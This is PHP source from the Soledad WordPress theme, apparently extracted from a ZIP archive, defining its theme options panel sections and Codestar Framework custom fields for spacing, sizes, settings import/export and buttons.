					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-magazine/">this demo</a> for example and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/featured-categories.png">this image</a> to understand what is Featured Categories.', 'soledad' ),
				),
				'penci_section_homepage_fontsize_section'       => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'penci_section_homepage_colors_section'         => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),

			),
			'penci_logoheader_panel'                          => array(
				'priority'                                          => 3,
				'panel'                                             => array(
					'icon'  => 'fas fa-eye',
					'title' => esc_html__( 'Logo & Header', 'soledad' ),
				),
				'penci_builder_general_section'                     => array(
					'title' => esc_html__( 'Header Builder', 'soledad' ),
					'desc'  => __( 'You can add new and edit a header builder on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci_builder' ) ) . '">this page</a>.<br>Please check <a class="wp-customizer-link" href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&index=4" target="_blank">this video tutorial</a> to know how to setup your header builder.', 'soledad' ),
				),
				'pencidesign_logo_header_general_section'           => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'pencidesign_logo_header_logo_section'              => array( 'title' => esc_html__( 'Logo', 'soledad' ) ),
				'pencidesign_logo_header_slogan_section'            => array(
					'title' => esc_html__( 'Slogan Text', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/slogan-text.png">this image</a> to know what is Slogan text. Note that slogan text does not supports on some header styles', 'soledad' ),
				),
				'pencidesign_logo_header_primary_menu_section'      => array(
					'title' => esc_html__( 'Main Bar & Primary Menu', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/mainbar-primary.png">this image</a> to know what is "Main Bar" and "Primary Menu"', 'soledad' ),
				),
				'pencidesign_logo_header_category_megamenu_section' => array(
					'title' => esc_html__( 'Category Mega Menu', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/category-mega-menu.png">this image</a> to know what is Category Mega Menu. To config a category mega menu, please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#menu">this guide</a>', 'soledad' ),
				),
				'penci_section_header_signupform_section'           => array(
					'title' => esc_html__( 'Header SignUp Form', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/header-signup-form.png">this image</a> to know where is "Header Sign-Up Form".<br>To config Header SignUp Form, please use the HTML markup like we said on the documentation <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#setup_mailchimp">here</a>, after that go to <strong>Appearance > Widgets > drag & drop widget "Mailchimp Sign-Up Form" to "Header Sign-Up Form"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/header-signup-form-widget.png">this image</a>.<br>If you use Elementor or WPBakery Page Builder to config your page, you can use element "Penci Mailchimp" to get it display.', 'soledad' ),
				),
				'pencidesign_logo_header_verticalnav_section'       => array(
					'title' => esc_html__( 'Vertical Mobile Navigation', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-mobile-navigation.png">this image</a> to know what is Vertical Mobile Navigation.', 'soledad' ),
				),
				'pencidesign_logo_header_colors_section'            => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
				'pencidesign_logo_header_colors_trans_section'      => array( 'title' => esc_html__( 'Colors for Transparent Header', 'soledad' ) ),

			),
			'penci_single_page_panel'                         => array(
				'priority' => 11,
				'panel'    => array(
					'icon'  => 'fas fa-file-alt',
					'title' => esc_html__( 'Pages', 'soledad' ),
				),

				'penci_section_spage_general_section' => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'penci_section_spage_header_section'  => array(
					'title' => esc_html__( 'Page Header', 'soledad' ),
					'desc'  => 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/page-header.png">this image</a> to know what is "Page Header"',
				),
				'penci_section_spage_404_section'     => array( 'title' => esc_html__( '404 Page', 'soledad' ) ),
				'penci_section_spage_colors_section'  => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'penci_popup_section_panel'                       => array(
				'priority'                            => 16,
				'panel'                               => array(
					'title' => esc_html__( 'Promo Popup', 'soledad' ),
					'icon'  => 'far fa-window-restore',
				),
				'penci_popup_section_general_section' => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'penci_popup_section_display_section' => array( 'title' => esc_html__( 'Popup Display', 'soledad' ) ),
				'penci_popup_section_styles_section'  => array( 'title' => esc_html__( 'Styles & Colors', 'soledad' ) ),
			),
			'penci_post_layout_panel'                         => array(
				'priority'                               => 8,
				'panel'                                  => array(
					'icon'  => 'fas fa-list',
					'title' => esc_html__( 'Posts Layouts', 'soledad' ),
					'desc'  => __( 'All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout. For other layouts, check on "Other Layouts" section below.', 'soledad' ),

				),
				'penci_section_standard_classic_section' => array(
					'title' => esc_html__( 'Standard & Classic', 'soledad' ),
					'desc'  => 'All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout. For other layouts, check on "Other Layouts" section below.',
				),
				'penci_section_other_layouts_section'    => array( 'title' => esc_html__( 'Other Layouts', 'soledad' ) ),
				'penci_section_layout_rowsgap_section'   => array( 'title' => esc_html__( 'Row Gap', 'soledad' ) ),
				'penci_section_layout_fontsize_section'  => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'penci_section_layout_colors_section'    => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'penci_sidebar_panel'                             => array(
				'priority'                              => 9,
				'panel'                                 => array(
					'icon'  => 'fas fa-columns',
					'title' => esc_html__( 'Sidebar', 'soledad' ),
				),
				'penci_section_sidebar_general_section' => array(
					'title' => esc_html__( 'General', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/widget-heading-title.png">this image</a> to know what is "Sidebar Widget Heading"', 'soledad' ),
				),
				'penci_section_sidebar_fsize_section'   => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'penci_section_sidebar_colors_section'  => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'penci_single_post_panel'                         => array(
				'priority'                                     => 10,
				'panel'                                        => array(
					'icon'  => 'fas fa-file',
					'title' => esc_html__( 'Single Posts', 'soledad' ),
				),
				'penci_section_spost_general_section'          => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'penci_section_spost_inline_reposts_section'   => array( 'title' => esc_html__( 'Inline Related Posts', 'soledad' ) ),
				'penci_section_spost_related_posts_section'    => array( 'title' => esc_html__( 'Related Posts', 'soledad' ) ),
				'penci_section_spost_comments_section'         => array( 'title' => esc_html__( 'Comments Form', 'soledad' ) ),
				'penci_section_spost_reading_progress_section' => array( 'title' => esc_html__( 'Post Reading Progress Bar', 'soledad' ) ),
				'penci_section_spost_autoload_section'         => array(
					'title' => esc_html__( 'Infinity Scrolling Load Posts', 'soledad' ),
					'desc'  => esc_html__( 'When you viewing a single post page, scroll down and this feature can help you load the next/previous posts automatically.', 'soledad' ),
				),
				'penci_section_spost_cpost_meta_section'       => array(
					'title' => esc_html__( 'Show Custom Post Meta', 'soledad' ),
					'desc'  => 'The options here are not applied for Single Post Builder.',
				),
				'penci_section_spost_cptype_builder_section'   => array( 'title' => esc_html__( 'Custom Post Types Builder', 'soledad' ) ),
				'penci_section_spost_fontsize_section'         => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'penci_section_spost_colors_section'           => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'pencidesign_new_section_social_section'          => array(
				'priority'                               => 12,
				'pencidesign_new_section_social_section' => array(
					'icon'  => 'fas fa-share-alt',
					'title' => esc_html__( 'Social Media', 'soledad' ),
					'desc'  => esc_html__( 'Enter full your social URL ( include http:// or https:// on the URL ), Icons will not show if left blank.', 'soledad' ),
				),
			),
			'penci_speed_section_panel'                       => array(
				'priority'                               => 15,
				'panel'                                  => array(
					'icon'  => 'fas fa-tachometer-alt',
					'title' => esc_html__( 'Speed Optimization', 'soledad' ),
				),
				'penci_section_speed_general_section'    => array(
					'title' => esc_html__( 'General & Lazyload', 'soledad' ),
					'desc'  => __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ),
				),
				'penci_section_speed_css_section'        => array(
					'title' => esc_html__( 'Optimize CSS', 'soledad' ),
					'desc'  => __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ),
				),
				'penci_section_speed_javascript_section' => array(
					'title' => esc_html__( 'Optimize JavaScript', 'soledad' ),
					'desc'  => __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ),
				),
				'penci_section_speed_html_section'       => array(
					'title' => esc_html__( 'Optimize HTML', 'soledad' ),
					'desc'  => __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ),
				),

			),
			'pencidesign_new_section_transition_lang_section' => array(
				'priority'                                        => 15,
				'pencidesign_new_section_transition_lang_section' => array(
					'icon'  => 'fas fa-language',
					'title' => esc_html__( 'Quick Text Translation', 'soledad' ),
					'desc'  => "If you are using WPML or Polylang - Use shortcode [pencilang] inside fields below with multiple languages - Example: <strong>[pencilang en_US='Share' fr_FR='Partager' language_code='Your language text' /]</strong><br>Make sure plugin Penci Shortcodes are activated. You can check languages code <a class='wp-customizer-link' href='https://make.wordpress.org/polyglots/teams/' target='_blank'>here</a>",
				),
			),
			'penci_toc_panel'                                 => array(
				'priority'                        => 15,
				'panel'                           => array(
					'icon'  => 'fas fa-list',
					'title' => esc_html__( 'Table of Contents', 'soledad' ),
				),
				'pencidesign_toc_general_section' => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'pencidesign_toc_styles_section'  => array( 'title' => esc_html__( 'Font Sizes & Colors', 'soledad' ) ),
			),
			'penci_vernav_hamburger_panel'                    => array(
				'priority'                       => 4,
				'panel'                          => array(
					'icon'        => 'fas fa-bars',
					'title'       => esc_html__( 'Vertical Navigation & Hamburger Menu', 'soledad' ),
					'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-navigation.png">this image</a> to know what is Vertical Navigation and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger.png">this image</a> to know what is Hamburger Menu.<br>Most of the options here applies for both Vertical Navigation & Hamburger Menu. When you enable Vertical Navigation - of course, the Hamburger Menu will does not display.', 'soledad' ),

				),
				'penci_menu_hbg_section'         => array(
					'title' => esc_html__( 'General', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-navigation.png">this image</a> to know what is Vertical Navigation and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger.png">this image</a> to know what is Hamburger Menu.<br>Most of the options here applies for both Vertical Navigation & Hamburger Menu. When you enable Vertical Navigation - of course, the Hamburger Menu will does not display.', 'soledad' ),
				),
				'penci_menu_hbg_widgets_section' => array(
					'title' => esc_html__( 'Widgets', 'soledad' ),
					'desc'  => __( 'When you use Vertical Navigation or Hamburger Menu, you can add widgets display above or below the menu like on <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger-widgets.png">this image</a> via Appearance > Widgets > drag & drop widgets on the left side to "Sidebar Hamburger Widgets Above Menu" and "Sidebar Hamburger Widgets Below Menu" - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger-widgets2.png">this image</a>.', 'soledad' ),
				),
				'penci_menu_hbg_colors_section'  => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),

			),
		);

		if ( class_exists( 'WooCommerce' ) ) {
			$default_theme_options['woocommerce']                                     = array(
				'priority'                                    => 19,
				'panel'                                       => array(
					'icon'  => 'fas fa-shopping-bag',
					'title' => esc_html__( 'WooCommerce', 'soledad' ),
				),
				'pencidesign_new_section_woocommerce_section' => array(
					'title' => esc_html__( 'General', 'soledad' ),
					'desc'  => 'You can check <a class="wp-customizer-link" href="https://soledad.pencidesign.net/soledad-document/#create_store" target="_blank">this guide</a> to know how to configure your online store.',
				),
				'pencidesign_woo_product_catalog_section'     => array(
					'title' => esc_html__( 'Shop Settings', 'soledad' ),
					'desc'  => 'You can check <a class="wp-customizer-link" href="https://soledad.pencidesign.net/soledad-document/#create_store" target="_blank">this guide</a> to know how to configure your online store.',
				),
				'pencidesign_woo_wishlist_settings_section'   => array( 'title' => esc_html__( 'Product Wishlist', 'soledad' ) ),
				'pencidesign_woo_compare_settings_section'    => array( 'title' => esc_html__( 'Product Compare', 'soledad' ) ),
				'pencidesign_woo_quickview_settings_section'  => array( 'title' => esc_html__( 'Product Quickview', 'soledad' ) ),
				'pencidesign_woo_label_settings_section'      => array( 'title' => esc_html__( 'Product Label', 'soledad' ) ),
				'pencidesign_woo_brand_settings_section'      => array( 'title' => esc_html__( 'Product Brands', 'soledad' ) ),
				'pencidesign_woo_single_settings_section'     => array( 'title' => esc_html__( 'Single Product', 'soledad' ) ),
				'pencidesign_woo_cart_page_section'           => array( 'title' => esc_html__( 'Cart Page', 'soledad' ) ),
				'pencidesign_woo_ordercompleted_page_section' => array( 'title' => esc_html__( 'Order Completed Page', 'soledad' ) ),
				'pencidesign_woo_mobile_settings_section'     => array( 'title' => esc_html__( 'Mobile Settings', 'soledad' ) ),
				'pencidesign_woo_toast_notify_section'        => array( 'title' => esc_html__( 'Toast Notification', 'soledad' ) ),
				'pencidesign_woo_filter_sidebar_section'      => array( 'title' => esc_html__( 'Sidebar Filter', 'soledad' ) ),
				'pencidesign_woo_typo_settings_section'       => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'pencidesign_woo_colors_settings_section'     => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			);
			$default_theme_options['pencidesign_woo_section_transition_lang_section'] = array(
				'priority'                                        => 20,
				'pencidesign_woo_section_transition_lang_section' => array(
					'title' => esc_html__( 'WooCommerce Text Translation', 'soledad' ),
					'icon'  => 'fas fa-globe',
					'desc'  => "If you are using WPML or Polylang - Use shortcode [pencilang] inside fields below with multiple languages - Example: <strong>[pencilang en_US='Share' fr_FR='Partager' language_code='Your language text' /]</strong><br>Make sure plugin Penci Shortcodes are activated. You can check languages code <a class='wp-customizer-link' href='https://make.wordpress.org/polyglots/teams/' target='_blank'>here</a>",
				),
			);
		}

		return apply_filters( 'penci_get_options_data', $default_theme_options );
	}

	public function convert_option_type( $type ) {
		$options = array(
			'soledad-fw-alert'           => 'notice',
			'soledad-fw-header'          => 'heading',
			'soledad-fw-color'           => 'color',
			'soledad-fw-toggle'          => 'switcher',
			'soledad-fw-slider'          => 'slider',
			'soledad-fw-number'          => 'number',
			'soledad-fw-select'          => 'select',
			'soledad-fw-ajax-select'     => 'select',
			'soledad-fw-range-slider'    => 'slider',
			'soledad-fw-radio-image'     => 'image_select',
			'soledad-fw-radio-buttonset' => 'button_set',
			'soledad-fw-preset'          => 'radio',
			'soledad-fw-preset-image'    => 'gallery',
			'soledad-fw-text'            => 'text',
			'soledad-fw-password'        => 'password',
			'soledad-fw-textarea'        => 'textarea',
			'soledad-fw-radio'           => 'radio',
			'soledad-fw-image'           => 'upload',
			'soledad-fw-upload'          => 'upload',
			'soledad-fw-spacing'         => 'spacings',
			'soledad-fw-repeater'        => 'section',
			'soledad-fw-typography'      => 'typography',
			'soledad-fw-gradient'        => 'color_gradient',
			'soledad-fw-size'            => 'sizes',
			'soledad-fw-box-model'       => 'spacings',
			'soledad-fw-button'          => 'button',
			'soledad-fw-code'            => 'code_editor',
			'soledad-fw-hidden'          => 'subheading',
			'soledad-fw-multi-check'     => 'checkbox',
		);

		return $options[ $type ];
	}

	public function add_options( $option_data ) {

		$fields_data = array(
			'id'      => $option_data['id'],
			'type'    => $this->convert_option_type( $option_data['type'] ),
			'title'   => isset( $option_data['label'] ) && $option_data['label'] ? esc_html( $option_data['label'] ) : '',
			'desc'    => isset( $option_data['description'] ) && $option_data['description'] ? $option_data['description'] : '',
			'default' => isset( $option_data['default'] ) && $option_data['default'] && ! is_array( $option_data['default'] ) ? $option_data['default'] : '',
		);

		if ( isset( $option_data['choices'] ) && $option_data['choices'] ) {
			$fields_data['options'] = $option_data['choices'];
		}

		if ( $option_data['type'] == 'soledad-fw-multi-check' ) {
			$fields_data['options'] = array();
			foreach ( $option_data['choices'] as $id => $attr ) {
				$fields_data['options'][ $id ] = $attr['name'];
			}
		}

		if ( isset( $option_data['ids'] ) && $option_data['ids'] ) {
			$fields_data['ids'] = $option_data['ids'];
		}

		if ( $fields_data['type'] == 'select' ) {
			$fields_data['chosen'] = true;
		}

		if ( $fields_data['type'] == 'select' && isset( $option_data['multiple'] ) ) {
			$fields_data['multiple']    = true;
			$fields_data['placeholder'] = 'Select an option';
		}

		if ( isset( $option_data['nonce'] ) && $option_data['nonce'] ) {
			$fields_data['nonce'] = $option_data['nonce'];
		}

		if ( isset( $option_data['data_type'] ) && $option_data['data_type'] ) {
			$fields_data['data_type'] = $option_data['data_type'];
		}

		if ( $fields_data['type'] == 'upload' ) {
			$fields_data['preview'] = true;
		}

		if ( $fields_data['id'] == 'penci_custom_css' ) {
			$fields_data['type']     = 'code_editor';
			$fields_data['settings'] = array(
				'theme' => 'ambiance',
				'mode'  => 'css',
			);
		}

		if ( isset( $option_data['active_callback'] ) && is_array( $option_data['active_callback'] ) ) {

			foreach ( $option_data['active_callback'] as $callback ) {
				$callback_value = is_array( $callback['value'] ) ? implode(',',$callback['value']) : $callback['value'];
				$fields_data['dependency'] = array( $callback['setting'], $callback['operator'], $callback_value );
			}
		}

		return $fields_data;
	}

	public function sort_section( $a, $b ) {
		return $a['priority'] <=> $b['priority'];
	}

	public function add_section( $id, $section_data, $parent_field = '', $path = '' ) {

		if ( ! $path ) {
			$path = PENCI_SOLEDAD_DIR . '/inc/customizer/config/sections/';
		}

		$section_path = $path . $id . '.php';
		$fields       = array();
		$options      = array();

		if ( ! file_exists( $section_path ) ) {
			return;
		}

		require_once $section_path;

		foreach ( $options as $option_data ) {

			$fields[] = $this->add_options( $option_data );
		}

		CSF::createSection(
			$this->opt_name,
			array(
				'title'       => $section_data['title'],
				'id'          => $id,
				'icon'        => isset( $section_data['icon'] ) && $section_data['icon'] ? $section_data['icon'] : '',
				'description' => isset( $section_data['desc'] ) && $section_data['desc'] ? $section_data['desc'] : '',
				'fields'      => $fields,
				'parent'      => $parent_field,
			)
		);
	}

	public function options_content() {

		$panel_list = $this->get_options_data();

		uasort( $panel_list, array( $this, 'sort_section' ) );

		foreach ( $panel_list as $panel_id => $sections ) {

			$parent_field = '';
			$path         = '';
			$parent_desc  = '';

			if ( isset( $sections['path'] ) && $sections['path'] ) {
				$path = $sections['path'];
			}

			if ( isset( $sections['panel']['title'] ) && $sections['panel']['title'] ) {

				CSF::createSection(
					$this->opt_name,
					array(
						'id'          => $panel_id,
						'title'       => $sections['panel']['title'],
						'icon'        => isset( $sections['panel']['icon'] ) && $sections['panel']['icon'] ? $sections['panel']['icon'] : '',
						'description' => isset( $sections['panel']['desc'] ) && $sections['panel']['desc'] ? $sections['panel']['desc'] : '',
					)
				);
				$parent_field = $panel_id;

				if ( isset( $sections['panel']['desc'] ) && $sections['panel']['desc'] ) {
					$parent_desc = $sections['panel']['desc'];
				}
			}

			$count = 1;

			foreach ( $sections as $id => $section_data ) {

				if ( ! in_array( $id, array( 'priority', 'panel', 'path' ) ) ) {

					if ( $count ++ == 1 && $parent_desc ) {
						$section_data['desc'] = $parent_desc;
					}

					$this->add_section( $id, $section_data, $parent_field, $path );
				}
			}
		}
	}

	public function imex() {
		CSF::createSection(
			$this->opt_name,
			array(
				'id'     => 'penci_import_export_options',
				'title'  => __( 'Import/Export', 'soledad' ),
				'icon'   => 'fas fa-file-export',
				'fields' => array(
					array(
						'id'    => 'penci_export_content',
						'type'  => 'export',
						'title' => __( 'Export Theme Settings', 'soledad' ),
						'desc'  => __( 'This box contains all the theme panel options, encoded as a string so that you can easily copy and move them to another server.', 'soledad' ),
					),
					array(
						'id'    => 'penci_import_content',
						'type'  => 'import',
						'title' => __( 'Import Theme Settings', 'soledad' ),
						'desc'  => __( 'Paste your encoded settings\' string here, and the theme will load the options into the database.', 'soledad' ),
					),
				),
			)
		);
	}

	public function codestar_soledad() {
		if ( ! class_exists( 'CSF' ) ) {
			return;
		}

		$theme_data     = wp_get_theme();
		$is_child       = false;
		$parent_version = $theme_data->version;
		$parent_theme   = $theme_data->parent();
		if ( ! empty( $parent_theme ) ) {
			$is_child = true;
		}

		if ( $is_child ) {
			$parent_version = $theme_data->parent()->Version;
		}

		$wel_page_title = get_theme_mod( 'admin_wel_page_title' );
		$wel_page_title = $wel_page_title && get_theme_mod( 'activate_white_label' ) ? $wel_page_title : 'Soledad WordPress Theme';

		CSF::createOptions(
			$this->opt_name,
			array(
				'framework_title'  => $wel_page_title . ' <small>version ' . $parent_version . '</small>',
				'menu_title'       => 'Theme Options Panel',
				'menu_slug'        => $this->opt_name,
				'database'         => 'theme_mod',
				'output_css'       => false,
				'footer_text'      => '',
				'footer_after'     => '',
				'footer_credit'    => '',
				'menu_parent'      => 'soledad_dashboard_welcome',
				'menu_position'    => 0,
				'show_sub_menu'    => false,
				'save_defaults'    => false,
				'show_bar_menu'    => false,
				'theme'            => 'light',
				'menu_type'        => 'submenu',
				'show_all_options' => false,
			)
		);

		$this->options_content();
		$this->imex();
	}
}

PenciSoledadCodeStarOptions::getInstance();
PK     N\h
  
  +  inc/options/custom-fields/spacing-field.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Field: spacings
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Field_spacings' ) ) {
	class CSF_Field_spacings extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
			wp_enqueue_script( 'csf_spacings_field', PENCI_SOLEDAD_URL . '/inc/options/js/spacing-field.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );

		}

		public function render() {

			$options      = $this->field['options'];
			$saved_values = ( ! is_array( $this->value ) && ! empty( $this->value ) ) ? explode( ', ', $this->value ) : explode( ', ', '\'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\'' );

			echo $this->field_before();

			echo '<div class="csf--inputs" data-depend-id="' . esc_attr( $this->field['id'] ) . '">';

			$labels = array(
				'margin'        => __( 'Margin', 'soledad' ),
				'padding'       => __( 'Padding', 'soledad' ),
				'border'        => __( 'Border Width', 'soledad' ),
				'border-radius' => __( 'Border Radius', 'soledad' ),
			);

			$icons = array(
				'0' => '<i class="fas fa-long-arrow-alt-up"></i>',
				'1' => '<i class="fas fa-long-arrow-alt-right"></i>',
				'2' => '<i class="fas fa-long-arrow-alt-down"></i>',
				'3' => '<i class="fas fa-long-arrow-alt-left"></i>',
			);

			foreach ( $options as $area => $props ) {

				echo '<div class="csf-desc-text"><h4>' . $labels[ $area ] . '</h4></div>';

				$icon_count = 0;

				switch ( $area ) {
					case 'padding':
						$count = 4;
						break;
					case 'border':
						$count = 8;
						break;
					case 'border-radius':
						$count = 12;
						break;
					default:
						$count = 0;
				}

				foreach ( $props as $prop => $value ) {

					$value_check = isset( $saved_values[ $count ] ) && $saved_values[ $count ] ? $saved_values[ $count ] : '';

					echo '<div class="csf--input">';
					echo '<span class="csf--label csf--icon">' . $icons[ $icon_count ] . '</span>';
					echo '<input type="number" placeholder="' . $value . '" value="' . $value_check . '" class="csf-input-number cfs-spacings-field ' . $prop . '" step="any" />';
					echo '</div>';

					++$count;
					++$icon_count;

				}
			}

			echo '</div>';

			echo '<input type="hidden" class="hidden cfs-spacings-saved-field" name="' . esc_attr( $this->field_name() ) . '" value="' . $this->value . '"/>';

			echo $this->field_after();
		}
	}
}
PK     N\    )  inc/options/custom-fields/sizes-field.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Field: sizes
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Field_sizes' ) ) {
	class CSF_Field_sizes extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
		}

		public function render() {

			$ids     = $this->field['ids'];
			$options = $this->field['options'];

			echo $this->field_before();

			echo '<div class="csf--inputs" data-depend-id="' . esc_attr( $this->field['id'] ) . '">';

			$icons = array(
				'mobile'  => '<i class="dashicons dashicons-smartphone"></i>',
				'desktop' => '<i class="dashicons dashicons-desktop"></i>',
			);

			foreach ( $ids as $device => $id ) {

				$item_value = get_theme_mod( $id );

				$icon = $icons[ $device ];

				if ( count( $ids ) == 1 ) {
					$icon = '<i class="dashicons dashicons-admin-site-alt3"></i>';
				}

				$default = isset( $options[ $device ]['default'] ) && $options[ $device ]['default'] ? $options[ $device ]['default'] : '';

				echo '<div class="csf--input">';
					echo '<span class="csf--label csf--icon">' . $icon . '</span>';
					echo '<input type="number" name="' . $id . '" placeholder="' . $default . '" value="' . $item_value . '" class="csf-input-number" step="any" />';
					echo '</div>';
			}

			echo '</div>';

			echo $this->field_after();
		}
	}
}
PK     N\Ek	  	  *  inc/options/custom-fields/import-field.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Field: import
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Field_import' ) ) {
	class CSF_Field_import extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
		}

		public function render() {

			$nonce = wp_create_nonce( 'penci_options_import_data' );

			echo $this->field_before();
			echo '<textarea></textarea>';
			echo $this->field_after();
			echo '<button data-nonce="' . $nonce . '" data-ajaxurl="' . esc_url( admin_url( 'admin-ajax.php' ) ) . '" class="button">' . __( 'Import Theme Settings', 'soledad' ) . '</button>';
		}
	}
}
PK     N\A  A  '  inc/options/custom-fields/btn-field.phpnu [        <?php
if ( ! class_exists( 'CSF_Field_button' ) ) {
	class CSF_Field_button extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
			wp_enqueue_script( 'csf_btn_field', PENCI_SOLEDAD_URL . '/inc/options/js/btn-field.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		}

		public function render() {

			echo $this->field_before();

			$type = '';
			$none = '';

			if ( isset( $this->field['data_type'] ) && $this->field['data_type'] ) {
				$type = ' data-type="' . $this->field['data_type'] . '" ';
			}

			if ( isset( $this->field['nonce'] ) && $this->field['nonce'] ) {
				$none = ' data-nonce="' . $this->field['nonce'] . '" ';
			}

			echo '<button data-adminjax="' . esc_url( admin_url( 'admin-ajax.php' ) ) . '"' . $type . $none . 'class="button" type="button" name="' . $this->field_name() . '" value="' . $this->value . '"' . $this->field_attributes() . '>' . $this->field['title'] . '</button>';

			echo $this->field_after();
		}
	}
}
PK     N\J4  4  *  inc/options/custom-fields/export-field.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Field: export
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Field_export' ) ) {
	class CSF_Field_export extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
		}

		public function render() {

			$template = get_template();
			$mods     = get_theme_mods();
			$data     = array(
				'template' => $template,
				'mods'     => $mods ? $mods : array(),
				'options'  => array(),
			);

			$export_content = base64_encode( wp_json_encode( $data ) );

			echo $this->field_before();
			echo '<textarea readonly>' . $export_content . '</textarea>';
			echo $this->field_after();
		}
	}
}
PK     N\        inc/options/framework/index.phpnu [        <?php // Silence is golden.
PK     N\q>  >  +  inc/options/framework/assets/js/main.min.jsnu [        /* Codestar Framework | A Simple and Lightweight WordPress Option Framework - v2.3.0*/
